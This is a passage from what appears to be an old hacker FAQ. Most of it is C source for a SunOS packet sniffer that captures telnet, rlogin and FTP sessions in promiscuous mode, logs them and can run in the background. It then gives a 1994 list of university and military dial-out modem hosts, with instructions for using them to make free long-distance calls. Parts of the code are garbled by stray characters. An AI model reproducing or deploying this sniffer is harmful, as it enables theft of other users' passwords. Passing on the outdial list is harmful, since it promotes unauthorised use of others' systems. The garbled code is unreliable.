(TCPD == IPPORT_TELNET) || (TCPD == IPPORT_LOGINSERVER) || (TCPD == IPPORT_FTP) )) return; { register struct CREC *CLm; register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet; p += ((IPHLEN * 4) + (TCPOFF * 4)); if(debug) { fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length); fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); } if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { CLm->PKcnt++; if(length>0) if( (CLm->Length + length) < MAXBUFLEN ) { ADDDATA_NODE( CLm, p,length); } else { END_NODE( CLm, p,length, "DATA LIMIT"); } if(TCPFL(TH_FIN|TH_RST)) { END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); } } else { if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); } } IDLE_NODE(); } } /* signal handler */ void death() { register struct CREC *CLe; while(CLe=CLroot) END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); fflush(LOG); if(LOG != stdout) fclose(LOG); exit(1); } /* opens network interface, performs ioctls and reads from it, * passing data to filter function */ void do_it() { int cc; char *buf; u_short sp_ts_len; if(!(buf=malloc(CHUNKSIZE))) Pexit(1,"Eth: malloc"); /* this /dev/nit initialization code pinched from etherfind */ { struct strioctl si; struct ifreq ifr; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) Pexit(1,"Eth: nit open"); if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) Pexit(1,"Eth: ioctl (I_SRDOPT)"); si.ic_timout = INFTIM; if(ioctl(if_fd, I_PUSH, "nbuf") < 0) Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")"); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)"); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)"); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof(ifr); si.ic_dp = (char *)𝔦 if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)"); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags); si.ic_dp = (char *)&if_flags; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)"); if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) Pexit(1,"Eth: ioctl (I_FLUSH)"); } while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { register char *bp = buf, *bufstop = (buf + cc); while (bp < bufstop) { register char *cp = bp; register struct nit_bufhdr *hdrp; hdrp = (struct nit_bufhdr *)cp; cp += sizeof(struct nit_bufhdr); bp += hdrp->nhb_totlen; filter(cp, (u_long)hdrp->nhb_msglen); } } Pexit((-1),"Eth: read"); } /* Authorize your program, generate your own password and uncomment here */ /* #define AUTHPASSWD "EloiZgZejWyms" */ void getauth() { char *buf,*getpass(),*crypt(); char pwd[21],prmpt[81]; strcpy(pwd,AUTHPASSWD); sprintf(prmpt,"(%s)UP? ",ProgName); buf=getpass(prmpt); if(strcmp(pwd,crypt(buf,pwd))) exit(1); } */ void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac=1, backg=0; ProgName=argv[0]; /* getauth(); */ LOG=NULL; device=NULL; while((ac<argc) && (argv[ac][0] == '-')) { register char ch = argv[ac++][1]; switch(toupper(ch)) { case 'I': device=argv[ac++]; break; case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a"))) Zexit(1,"Output file cant be opened\n"); break; case 'B': backg=1; break; case 'D': debug=1; break; default : fprintf(ERR, "Usage: %s [-b] [-d] [-i interface] [-f file]\n", ProgName); exit(1); } } if(!device) { if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0) Pexit(1,"Eth: socket"); ifc.ifc_len = sizeof(cbuf); ifc.ifc_buf = cbuf; if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0) Pexit(1,"Eth: ioctl"); close(s); device = ifc.ifc_req->ifr_name; } fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); if(!LOG) LOG=stdout; signal(SIGINT, death); signal(SIGTERM,death); signal(SIGKILL,death); signal(SIGQUIT,death); if(backg && debug) { fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0; } if(backg) { register int s; if((s=fork())>0) { fprintf(ERR,"[pid %d]\n",s); exit(0); } else if(s<0) Pexit(1,"fork"); if( (s=open("/dev/tty",O_RDWR))>0 ) { ioctl(s,TIOCNOTTY,(char *)NULL); close(s); } } fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG); do_it(); }
B-06. What is an Internet Outdial?
An Internet outdial is a modem connected to the Internet than you can use to dial out. Normal outdials will only call local numbers. A GOD (Global OutDial) is capable of calling long distance. Outdials are an inexpensive method of calling long distance BBS's.
B-07. What are some Internet Outdials?
This FAQ answer is excerpted from CoTNo #5: Internet Outdial List v3.0 by Cavalier and DisordeR
Introduction
There are several lists of Internet outdials floating around the net these days. The following is a compilation of other lists, as well as v2.0 by DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author just ripped other people and released it, we have sat down and tested each one of these. Some of them we have gotten "Connection Refused" or it timed out while trying to connect...these have been labeled dead.
Working Outdials as of 12/29/94:
NPA IP Address Instructions 215 isn.upenn.edu modem 217 dialout.cecer.army.mil atdt x,xxxXXXXX 218 modem.d.umn.edu atdt9,xxxXXXX 303 yuma.acns.colostate.edu 3020 412 myriad.pc.cc.cmu.edu 2600 Press D at the prompt 412 gate.cis.pitt.edu tn3270,
connect dialout.pitt.edu,
atdtxxxXXXX413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx 502 outdial.louisville.edu 502 uknet.uky.edu connect kecnet
@ dial: "outdial2400 or out"602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy 614 ns2400.acs.ohio-state.edu 614 ns9600.acs.ohio-state.edu 713 128.249.27.153 atdt x,xxxXXXX 714 modem.nts.uci.edu atdt[area]0[phone] 804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx 804 ublan2.acc.virginia.edu connect telnet
connect hayesNeed password:
NPA IP Address Instructions 204 dial.cc.umanitoba.ca 206 rexair.cac.washington.edu This is an unbroken password 303 yuma.ACNS.ColoState.EDU login: modem 404 128.140.1.239 .modem8|CR 415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1" 514 cartier.CC.UMontreal.CA externe,9+number 703 wal-3000.cns.vt.edu dial2400 -aa Dead/No Connect:
NPA IP Address Instructions 201 idsnet 202 modem.aidt.edu 204 umnet.cc.manitoba.ca "dial12" or "dial24" 206 dialout24.cac.washington.edu 207 modem-o.caps.maine.edu 212 B719-7e.NYU.EDU dial3/dial12/dial24 212 B719-7f.NYU.EDU dial3/dial12/dial24 212 DIALOUT-1.NYU.EDU dial3/dial12/dial24 212 FREE-138-229.NYU.EDU dial3/dial12/dial24 212 UP19-4b.NYU.EDU dial3/dial12/dial24 215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy" 218 aa28.d.umn.edu "cli" "rlogin modem" at "login:" type "modem" 218 modem.d.umn.edu Hayes 9,XXX-XXXX 301 dial9600.umd.edu 305 alcat.library.nova.edu 305 office.cis.ufl.edu 307 modem.uwyo.edu Hayes 0,XXX-XXXX 313 35.1.1.6 dial2400-aa or dial1200-aa or dialout 402 dialin.creighton.edu 402 modem.criegthon.edu 404 broadband.cc.emory.edu ".modem8" or ".dialout" 408 dialout.scu.edu 408 dialout1200.scu.edu 408 dialout2400.scu.edu 408 dialout9600.scu.edu 413 dialout.smith.edu 414 modems.uwp.edu 416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx 416 pacx.utcs.utoronto.ca modem 503 dialout.uvm.edu 513 dialout24.afit.af.mil 513 r596adi1.uc.edu 514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx 517 engdial.cl.msu.edu 602 dial9600.telcom.arizona.edu 603 dialout1200.unh.edu 604 dial24-nc00.net.ubc.ca 604 dial24-nc01.net.ubc.ca 604 dial96-np65.net.ubc.ca 604 gmodem.capcollege.bc.ca 604 hmodem.capcollege.bc.ca 609 128.119.131.11 X (X= 1 - 4) Hayes 609 wright-modem-1.rutgers.edu 609 wright-modem-2.rutgers.edu 612 modem_out12e7.atk.com 612 modem_out24n8.atk.com 614 ns2400.ircc.ohio-state.edu "dial" 615 dca.utk.edu dial2400 D 99k # 615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx 616 modem.calvin.edu 617 128.52.30.3 2400baud 617 dialout.lcs.mit.edu 617 dialout1.princeton.edu 617 isdn3.Princeton.EDU 617 jadwingymkip0.Princeton.EDU 617 lord-stanley.Princeton.EDU 617 mpanus.Princeton.EDU 617 mrmodem.wellesley.edu 617 old-dialout.Princeton.EDU 617 stagger.Princeton.EDU 617 sunshine-02.lcs.mit.edu 617 waddle.Princeton.EDU 619 128.54.30.1 atdt [area][phone] 619 dialin.ucsd.edu "dialout" 703 modem_pool.runet.edu 703 wal-3000.cns.vt.edu 713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx" or "Hayes" 713 modem12.bcm.tmc.edu 713 modem24.bcm.tmc.edu 713 modem24.bcm.tmc.edu 714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx 714 modem24.nts.uci.edu 714 pub-gopher.cwis.uci.edu 801 dswitch.byu.edu "C Modem" 808 irmodem.